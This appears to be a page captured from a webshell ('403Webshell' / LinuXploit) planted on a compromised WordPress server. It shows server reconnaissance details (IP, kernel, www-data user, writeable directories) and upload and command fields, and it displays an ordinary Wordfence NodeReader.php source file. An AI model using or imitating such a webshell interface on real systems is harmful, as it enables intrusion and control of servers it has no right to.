403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.155
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/yme/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/yme/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/NodeReader.php
<?php

namespace Wordfence\MmdbReader;

class NodeReader {

	const SHARED_MASK_LEFT = 240; //0b11110000
	const SHARED_MASK_RIGHT = 15; //0b00001111

	private $handle;
	private $nodeSize, $nodeCount;
	private $searchTreeSectionSize;
	private $recordWholeBytes, $recordBits;
	private $sharedByteOffset;

	public function __construct($handle, $nodeSize, $nodeCount) {
		$this->handle = $handle;
		$this->nodeSize = $nodeSize;
		$this->nodeCount = $nodeCount;
		$this->searchTreeSectionSize = $nodeSize * $nodeCount;
		$this->computeRecordSizes();
	}

	private function computeRecordSizes() {
		$this->recordWholeBytes = (int) ($this->nodeSize / 2);
		$this->recordBits = $this->nodeSize % 2;
		if ($this->recordBits > 0)
			$this->sharedByteOffset = $this->recordWholeBytes + 1;
	}

	public function read($position = 0) {
		if ($position > $this->nodeCount)
			throw new InvalidOperationException("Read requested for node at {$position}, but only {$this->nodeCount} nodes are present");
		$offset = $position * $this->nodeSize;
		$this->handle->seek($offset, SEEK_SET);
		$data = $this->handle->read($this->nodeSize);
		return new Node($this, $data);
	}

	private function hasSharedByte() {
		return $this->sharedByteOffset !== null;
	}

	private function getWholeByteOffset($side) {
		return $side === Node::SIDE_LEFT ? 0 : ($this->hasSharedByte() ? $this->sharedByteOffset : $this->recordWholeBytes);
	}

	public function extractRecord($nodeData, $side) {
		if ($this->hasSharedByte()) {
			$sharedByte = ord($nodeData[$this->sharedByteOffset]);
			if ($side === Node::SIDE_LEFT) {
				$value = $sharedByte >> 4;
			}
			else {
				$value = $sharedByte & self::SHARED_MASK_RIGHT;
			}
		}
		else {
			$value = 0;
		}
		$offset = $this->getWholeByteOffset($side);
		$end = $offset + $this->recordWholeBytes;
		for ($i = $offset; $i < $end; $i++) {
			$byte = ord($nodeData[$i]);
			$value = ($value << 8) | $byte;
		}
		return $value;
	}

	public function getNodeCount() {
		return $this->nodeCount;
	}

	public function getSearchTreeSectionSize() {
		return $this->searchTreeSectionSize;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit